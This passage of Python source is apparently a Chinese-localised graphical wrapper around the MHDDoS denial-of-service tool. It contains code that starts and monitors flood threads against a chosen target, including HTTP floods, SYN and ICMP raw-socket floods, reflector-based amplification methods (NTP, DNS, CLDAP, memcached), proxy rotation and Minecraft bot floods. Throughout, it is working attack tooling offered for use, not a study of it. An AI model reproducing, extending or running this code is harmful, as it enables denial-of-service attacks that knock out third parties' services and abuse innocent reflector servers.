port = int(port_str)
else:
ip = target
port = 80
# 处理反射器文件
ref = None
if method in Methods.LAYER4_AMP and reflector_file:
refl_li = Path(reflector_file)
if refl_li.exists():
ref = set(a.strip() for a in Tools.IP.findall(refl_li.open("r").read()))
# 创建Layer4攻击线程
self.log_message(f"启动{threads}个攻击线程...")
for _ in range(threads):
t =Layer4(
(ip, port),
ref,
method,
self.event
)
t.daemon = True # 设置为守护线程
t.start()
self.attack_threads.append(t)
self.event.set()
self.log_message("攻击已开始...")
# 监控攻击状态
start_time = time.time()
while time.time() < start_time + duration and not stop_event.is_set():
# 更新统计信息
stats = (f"目标: {target}\n"
f"方法: {method}\n"
f"请求数: {Tools.humanformat(int(REQUESTS_SENT))}\n"
f"发送数据: {Tools.humanbytes(int(BYTES_SEND))}\n"
f"已运行时间: {int(time.time() - start_time)}")
self.log_message(stats)
# 重置计数器
REQUESTS_SENT.set(0)
BYTES_SEND.set(0)
# 等待1秒但允许被中断
for _ in range(10):
if stop_event.is_set():
break
time.sleep(0.1)
# 停止攻击
self.log_message("攻击已停止")
except Exception as e:
self.log_message(f"攻击错误: {str(e)}")
import traceback
self.log_message(traceback.format_exc())
finally:
# 确保清除事件
self.event.clear()
self.log_message("清理攻击资源...")
def check_attack_status(self):
"""定时检查攻击状态"""
if self.attack_thread and self.attack_thread.isRunning():
# 更新UI状态
self.start_btn.setEnabled(False)
self.stop_btn.setEnabled(True)
self.force_stop_btn.setEnabled(True)
self.start_layer4_btn.setEnabled(False)
self.stop_layer4_btn.setEnabled(False)
self.force_stop_layer4_btn.setEnabled(False)
else:
# 攻击已结束,停止定时器
self.status_timer.stop()
self.attack_finished()
def stop_attack(self):
"""正常停止攻击"""
if self.attack_thread and self.attack_thread.isRunning():
self.log_message("正在停止攻击...")
self.attack_thread.stop()
self.event.clear()
self.status_label.setText("正在停止攻击...")
# 设置超时等待
if not self.attack_thread.wait(2000): # 等待2秒
self.log_message("正常停止超时,尝试强行停止...")
self.force_stop_attack()
def force_stop_attack(self):
"""强行停止所有攻击线程"""
self.log_message("强行停止所有攻击线程...")
self.status_timer.stop() # 停止状态监控
# 清除事件
self.event.clear()
# 终止监控线程
if self.attack_thread and self.attack_thread.isRunning():
self.attack_thread.terminate()
self.attack_thread.wait(500) # 等待0.5秒
# 终止所有攻击线程
if hasattr(self, 'attack_threads'):
for t in self.attack_threads:
if t.is_alive():
try:
# 尝试正常终止
t.join(timeout=0.1)
except:
pass
if t.is_alive():
# 如果线程仍然存活,使用更强制的方法
try:
# 获取线程ID
thread_id = [k for k, v in threading._active.items() if v is t]
if thread_id:
thread_id = thread_id[0]
# 使用系统API强制终止线程
res = ctypes.pythonapi.PyThreadState_SetAsyncExc(
ctypes.c_long(thread_id),
ctypes.py_object(SystemExit)
)
if res == 0:
self.log_message(f"无法终止线程 {thread_id}")
elif res != 1:
ctypes.pythonapi.PyThreadState_SetAsyncExc(thread_id, None)
except Exception as e:
self.log_message(f"强行终止线程错误: {str(e)}")
self.log_message("所有攻击线程已停止")
self.attack_finished()
exit(0)
def attack_finished(self):
self.log_message("攻击已完成")
self.status_label.setText("就绪")
# 重置按钮状态
self.start_btn.setEnabled(True)
self.stop_btn.setEnabled(False)
self.force_stop_btn.setEnabled(False)
self.start_layer4_btn.setEnabled(True)
self.stop_layer4_btn.setEnabled(False)
self.force_stop_layer4_btn.setEnabled(False)
# 确保事件被清除
self.event.clear()
# 清除攻击线程列表
if hasattr(self, 'attack_threads'):
del self.attack_threads
self.attack_threads = []
def main():
# 检查命令行参数
if len(sys.argv) > 1:
# 如果有命令行参数,按原有命令行模式执行
with suppress(KeyboardInterrupt):
with suppress(IndexError):
one = sys.argv[1].upper()
if one == "HELP":
raise IndexError()
if one == "TOOLS":
ToolsConsole.runConsole()
if one == "STOP":
ToolsConsole.stop()
method = one
host = None
port = None
url = None
event = Event()
event.clear()
target = None
urlraw = sys.argv[2].strip()
if not urlraw.startswith("http"):
urlraw = "http://" + urlraw
if method not in Methods.ALL_METHODS:
exit("Method Not Found %s" %
", ".join(Methods.ALL_METHODS))
if method in Methods.LAYER7_METHODS:
url = URL(urlraw)
host = url.host
if method != "TOR":
try:
host = gethostbyname(url.host)
except Exception as e:
exit('Cannot resolve hostname ', url.host, str(e))
threads = int(sys.argv[4])
rpc = int(sys.argv[6])
timer = int(sys.argv[7])
proxy_ty = int(sys.argv[3].strip())
proxy_li = Path(__dir__ / "files/proxies/" /
sys.argv[5].strip())
useragent_li = Path(__dir__ / "files/useragent.txt")
referers_li = Path(__dir__ / "files/referers.txt")
bombardier_path = Path.home() / "go/bin/bombardier"
proxies: Any = set()
if method == "BOMB":
assert (
bombardier_path.exists()
or bombardier_path.with_suffix('.exe').exists()
), (
"Install bombardier: "
"https://github.com/MHProDev/MHDDoS/wiki/BOMB-method"
)
if len(sys.argv) == 9:
logger.setLevel("DEBUG")
if not useragent_li.exists():
exit("The Useragent file doesn't exist ")
if not referers_li.exists():
exit("The Referer file doesn't exist ")
uagents = set(a.strip()
for a in useragent_li.open("r+").readlines())
referers = set(a.strip()
for a in referers_li.open("r+").readlines())
if not uagents: exit("Empty Useragent File ")
if not referers: exit("Empty Referer File ")
if threads > 1000:
logger.warning("Thread is higher than 1000")
if rpc > 100:
logger.warning(
"RPC (Request Pre Connection) is higher than 100")
proxies = handleProxyList(con, proxy_li, proxy_ty, url)
for thread_id in range(threads):
HttpFlood(thread_id, url, host, method, rpc, event,
uagents, referers, proxies).start()
if method in Methods.LAYER4_METHODS:
target = URL(urlraw)
port = target.port
target = target.host
try:
target = gethostbyname(target)
except Exception as e:
exit('Cannot resolve hostname ', url.host, e)
if port > 65535 or port < 1:
exit("Invalid Port [Min: 1 / Max: 65535] ")
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD", "SYN", "ICMP"} and \
not ToolsConsole.checkRawSocket():
exit("Cannot Create Raw Socket")
if method in Methods.LAYER4_AMP:
logger.warning("this method need spoofable servers please check")
logger.warning("https://github.com/MHProDev/MHDDoS/wiki/Amplification-ddos-attack")
threads = int(sys.argv[3])
timer = int(sys.argv[4])
proxies = None
ref = None
if not port:
logger.warning("Port Not Selected, Set To Default: 80")
port = 80
if method in {"SYN", "ICMP"}:
__ip__ = __ip__
if len(sys.argv) >= 6:
argfive = sys.argv[5].strip()
if argfive:
refl_li = Path(__dir__ / "files" / argfive)
if method in {"NTP", "DNS", "RDP", "CHAR", "MEM", "CLDAP", "ARD"}:
if not refl_li.exists():
exit("The reflector file doesn't exist")
if len(sys.argv) == 7:
logger.setLevel("DEBUG")
ref = set(a.strip()
for a in Tools.IP.findall(refl_li.open("r").read()))
if not ref: exit("Empty Reflector File ")
elif argfive.isdigit() and len(sys.argv) >= 7:
if len(sys.argv) == 8:
logger.setLevel("DEBUG")
proxy_ty = int(argfive)
proxy_li = Path(__dir__ / "files/proxies" / sys.argv[6].strip())
proxies = handleProxyList(con, proxy_li, proxy_ty)
if method not in {"MINECRAFT", "MCBOT", "TCP", "CPS", "CONNECTION"}:
exit("this method cannot use for layer4 proxy")
else:
logger.setLevel("DEBUG")
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
if method == "MCBOT":
with suppress(Exception), socket(AF_INET, SOCK_STREAM) as s:
Tools.send(s, Minecraft.handshake((target, port), protocolid, 1))
Tools.send(s, Minecraft.data(b'\x00'))
protocolid = Tools.protocolRex.search(str(s.recv(1024)))
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"] if not protocolid else int(protocolid.group(1))
if 47 < protocolid > 758:
protocolid = con["MINECRAFT_DEFAULT_PROTOCOL"]
for _ in range(threads):
Layer4((target, port), ref, method, event,
proxies, protocolid).start()
logger.info(
f"{bcolors.WARNING}Attack Started to{bcolors.OKBLUE} %s{bcolors.WARNING} with{bcolors.OKBLUE} %s{bcolors.WARNING} method for{bcolors.OKBLUE} %s{bcolors.WARNING} seconds, threads:{bcolors.OKBLUE} %d{bcolors.WARNING}!{bcolors.RESET}"
% (target or url.host, method, timer, threads))
event.set()
ts = time()
while time() < ts + timer:
logger.debug(
f'{bcolors.WARNING}Target:{bcolors.OKBLUE} %s,{bcolors.WARNING} Port:{bcolors.OKBLUE} %s,{bcolors.WARNING} Method:{bcolors.OKBLUE} %s{bcolors.WARNING} PPS:{bcolors.OKBLUE} %s,{bcolors.WARNING} BPS:{bcolors.OKBLUE} %s / %d%%{bcolors.RESET}' %
(target or url.host,
port or (url.port or 80),
method,
Tools.humanformat(int(REQUESTS_SENT)),
Tools.humanbytes(int(BYTES_SEND)),
round((time() - ts) / timer * 100, 2)))
REQUESTS_SENT.set(0)
BYTES_SEND.set(0)
sleep(1)
event.clear()
exit()
ToolsConsole.usage()
exitinput = input()
else:
# 没有命令行参数,启动图形界面
app = QApplication(sys.argv)
window = MainWindow()
window.show()
sys.exit(app.exec_())
if __name__ == '__main__':
main()